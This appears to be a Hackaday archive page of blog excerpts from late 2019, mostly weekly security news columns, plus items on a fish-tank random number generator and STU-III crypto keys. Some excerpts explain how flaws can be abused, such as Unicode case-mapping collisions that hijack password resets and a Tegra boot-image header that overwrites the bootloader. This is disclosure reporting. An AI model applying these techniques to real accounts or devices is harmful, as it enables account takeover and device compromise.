This Week In Security: Unicode, Truecrypt, And NPM Vulnerabilities

December 20, 2019 by Jonathan Bennett 22 Comments

Unicode, the wonderful extension to to ASCII that gives us gems like “✈”, “⌨”, and “☕”, has had some unexpected security ramifications. The most common problems with Unicode are visual security issues, like character confusion between letters. For example, the English “M” (U+004D) is indistinguishable from the Cyrillic “М” (U+041C). Can you tell the difference between IBM.com and IBМ.com?

This bug, discovered by [John Gracey] turns the common problem on its head. Properly referred to as a case mapping collision, it’s the story of different Unicode characters getting mapped to the same upper or lowercase equivalent.

'ß'.toLowerCase() === 'SS'.toLowerCase() // true // Note the Turkish dotless i 'John@Gıthub.com'.toUpperCase() === 'John@Github.com'.toUpperCase()

GitHub stores all email addresses in their lowercase form. When a user sends a password reset, GitHub’s logic worked like this: Take the email address that requested a password reset, convert to lower case, and look up the account that uses the converted email address. That by itself wouldn’t be a problem, but the reset is then sent to the email address that was requested, not the one on file. In retrospect, this is an obvious flaw, but without the presence of Unicode and the possibility of a case mapping collision, would be a perfectly safe practice.

This flaw seems to have been fixed quite some time ago, but was only recently disclosed. It’s also a novel problem affecting Unicode that we haven’t covered. Interestingly, my research has turned up an almost identical problem at Spotify, back in 2013.
Continue reading “This Week In Security: Unicode, Truecrypt, And NPM Vulnerabilities” →

This Week In Security: VPNs, Patch Tuesday, And Plundervault

December 13, 2019 by Jonathan Bennett 11 Comments

An issue in Unix virtual private networks was disclosed recently, where an attacker could potentially hijack a TCP stream, even though that stream is inside the VPN. This attack affects OpenVPN, Wireguard, and even IPSec VPNs. How was this possible? Unix systems support all manner of different network scenarios, and oftentimes a misconfiguration can lead to problems. Here, packets sent to the VPNs IP address are processed and responded to, even though they are coming in over a different interface.

The attack initially sounds implausible, as an attacker has to know the Virtual IP address of the VPN client, the remote IP address of an active TCP connection, and the sequence and ACK numbers of that connection. That’s a lot of information, but an attacker can figure it out one piece at a time, making it a plausible attack. Continue reading “This Week In Security: VPNs, Patch Tuesday, And Plundervault” →

Generating Random Numbers With A Fish Tank

December 9, 2019 by Tom Nardi 27 Comments

While working towards his Computing and Information Systems degree at the University of London, [Jason Fenech] submitted an interesting proposal for generating random numbers using nothing more exotic than an aquarium and a sufficiently high resolution camera. Not only does his BubbleRNG make a rather relaxing sound while in operation, but according to tools such as ENT, NIST-STS, and DieHard, appears to be a source of true randomness.

If you want to build your own BubbleRNG, all you need is a tank of water and some air pumps to generate the bubbles. A webcam looking down on the surface of the water captures the chaos that ensues when the columns of bubbles generated by each pump collide. In the video after the break [Jason] uses two pumps, but considering they’re cheaper than lava lamps, we’d probably chuck a few more into the mix. To be on the safe side, he mentions that the placement and number of pumps should be arbitrary and not repeated on subsequent installations.

To turn this tiny maelstrom into a source of random numbers, OpenCV is first used to identify the bubbles in the video stream that are between a user-supplied minimum and maximum radius. The software then captures the X and Y coordinates of each bubble, and the resulting values are shuffled around and XOR’d until a stream of random numbers comes out the other end. What you do with this cheap source of infinite improbability is, of course, up to you.

While this project has been floating around (no pun intended) the Internet for a few years now, it seems to have gone largely overlooked, and was only just brought to our attention thanks to a tip from one of our illustrious readers. An excellent reminder that if you see something interesting out there, we’d love to hear about it.

Continue reading “Generating Random Numbers With A Fish Tank” →

This Week In Security: Tegra Bootjacking, Leaking SSH, And StrandHogg

December 6, 2019 by Jonathan Bennett 9 Comments

CVE-2019-5700 is a vulnerability in the Nvidia Tegra bootloader, discovered by [Ryan Grachek], and breaking first here at Hackaday. To understand the vulnerability, one first has to understand a bit about the Tegra boot process. When the device is powered on, a irom firmware loads the next stage of the boot process from the device’s flash memory, and validates the signature on that binary. As an aside, we’ve covered a similar vulnerability in that irom code called selfblow.

On Tegra T4 devices, irom loads a single bootloader.bin, which in turn boots the system image. The K1 boot stack uses an additional bootloader stage, nvtboot, which loads the secure OS kernel before handing control to bootloader.bin. Later devices add additional stages, but that isn’t important for understanding this. The vulnerability uses an Android boot image, and the magic happens in the header. Part of this boot image is an optional second stage bootloader, which is very rarely used in practice. The header of this boot image specifies the size in bytes of each element, as well as what memory location to load that element to. What [Ryan] realized is that while it’s usually ignored, the information about the second stage bootloader is honored by the official Nvidia bootloader.bin, but neither the size nor memory location are sanity checked. The images are copied to their final position before the cryptographic verification happens. As a result, an Android image can overwrite the running bootloader code. Continue reading “This Week In Security: Tegra Bootjacking, Leaking SSH, And StrandHogg” →

John McMaster Explains Crypto Ignition Phone Keys And How To Reproduce Them

December 2, 2019 by Lewin Day 17 Comments

When you’re a nation state, secure communications are key to protecting your sovereignty and keeping your best laid plans under wraps. For the USA, this requirement led to the development of a series of secure telephony networks over the years. John McMaster found himself interested in investigating the workings of the STU-III secure telephone, and set out to replicate the secure keys used with this system.

An encryption key in a very physical, real sense, the Crypto Igntion Key was used with the STU-III to secure phone calls across many US government operations. The key contains a 64KB EEPROM that holds the cryptographic data.

[John] had a particular affinity for the STU-III for its method of encrypting phone calls. A physical device known as a Crypto Ignition Key had to be inserted into the telephone, and turned with a satisfying clunk to enable encryption. This physical key contains digital encryption keys that, in combination with those in the telephone, are used to encrypt the call. The tactile interface gives very clear feedback to the user about securing the communication channel. Wishing to learn more, John began to research the system further and attempted to source some hardware to tinker with.

As John explains in his Hackaday Superconference talk embeded below, he was able to source a civilian-model STU-III handset but the keys proved difficult to find. As carriers of encryption keys, it’s likely that most were destroyed as per security protocol when reaching their expiry date. However, after laying his hands on a broken key, he was able to create a CAD model and produce a mechanically compatible prototype that would fit in the slot and turn correctly.

Continue reading “John McMaster Explains Crypto Ignition Phone Keys And How To Reproduce Them” →

This Week In Security:Malicious Previews, VNC Vulnerabilities, Powerwall, And The 5th Amendment

November 30, 2019 by Jonathan Bennett 29 Comments

Malware embedded in office documents has been a popular attack for years. Many of those attacks have been fixed, and essentially all the current attacks are unworkable when a document is opened in protected view. There are ways around this, like putting a notice at the top of a document, requesting that the user turn off protected view. [Curtis Brazzell] has been researching phishing, and how attacks can work around mitigations like protected view. He noticed that one of his booby-trapped documents phoned home before it was opened. How exactly? The preview pane.

The Windows Explorer interface has a built-in preview pane, and it helpfully supports Microsoft Office formats. The problem is that the preview isn’t generated using protected view, at least when previewing Word documents. Generating the preview is enough to trigger loading of remote content, and could feasibly be used to trigger other vulnerabilities. [Curtis] notified Microsoft about the issue, and the response was slightly disappointing. His discovery is officially considered a bug, but not a vulnerability.

VNC Vulnerabilities

Researchers at Kaspersky took a hard look at several VNC implementations, and uncovered a total of 37 CVEs so far. It seems that several VNC projects share a rather old code-base, and it contains a plethora of potential bugs. VNC should be treated similarly to RDP — don’t expose it to the internet, and don’t connect to unknown servers. The protocol wasn’t written with security in mind, and none of the implementations have been sufficiently security hardened.

Examples of flaws include: Checking that a message doesn’t overflow the buffer after having copied it into said buffer. Another code snippet reads a variable length message into a fixed length buffer without any length checks. That particular function was originally written at AT&T labs back in the late 90s, and has been copied into multiple projects since then.

There is a potential downside to open source that is highlighted here. Open source allows poorly written code to spread. This isn’t a knock against open source, but rather a warning to the reader. Just because code or a project uses an OSS license doesn’t mean it’s secure or high quality code. There are more vulnerabilities still in the process of being fixed, so watch out for the rest of this story. Continue reading “This Week In Security:Malicious Previews, VNC Vulnerabilities, Powerwall, And The 5th Amendment” →

This Week In Security: More WhatsApp, Nextcry, Hover To Crash, And Android Permissions Bypass

November 22, 2019 by Jonathan Bennett 7 Comments

There is another WhatsApp flaw, but instead of malicious GIFs, this time it’s malicious mp4 files. Facebook announced the vulnerability late last week. An update has been released, so first go make sure WhatsApp is updated. Facebook’s advisory is a bit light on the details, simply saying that a “stack-based buffer overflow” was possible as a result of “parsing the elementary stream metadata of an mp4 file”.

Shortly after the bug was announced, a GitHub repository popped up, with a claimed proof-of-concept mp4 file for CVE-2019-11931. (Thanks to [justtransit] on Reddit for the link.) I can’t easily test the PoC file, but we can take a look at it to see what the vulnerability is. What tools do we need to take a look? A hex editor is a good start. I’m using GHex, simply because it was available and easily installed on Fedora. Continue reading “This Week In Security: More WhatsApp, Nextcry, Hover To Crash, And Android Permissions Bypass” →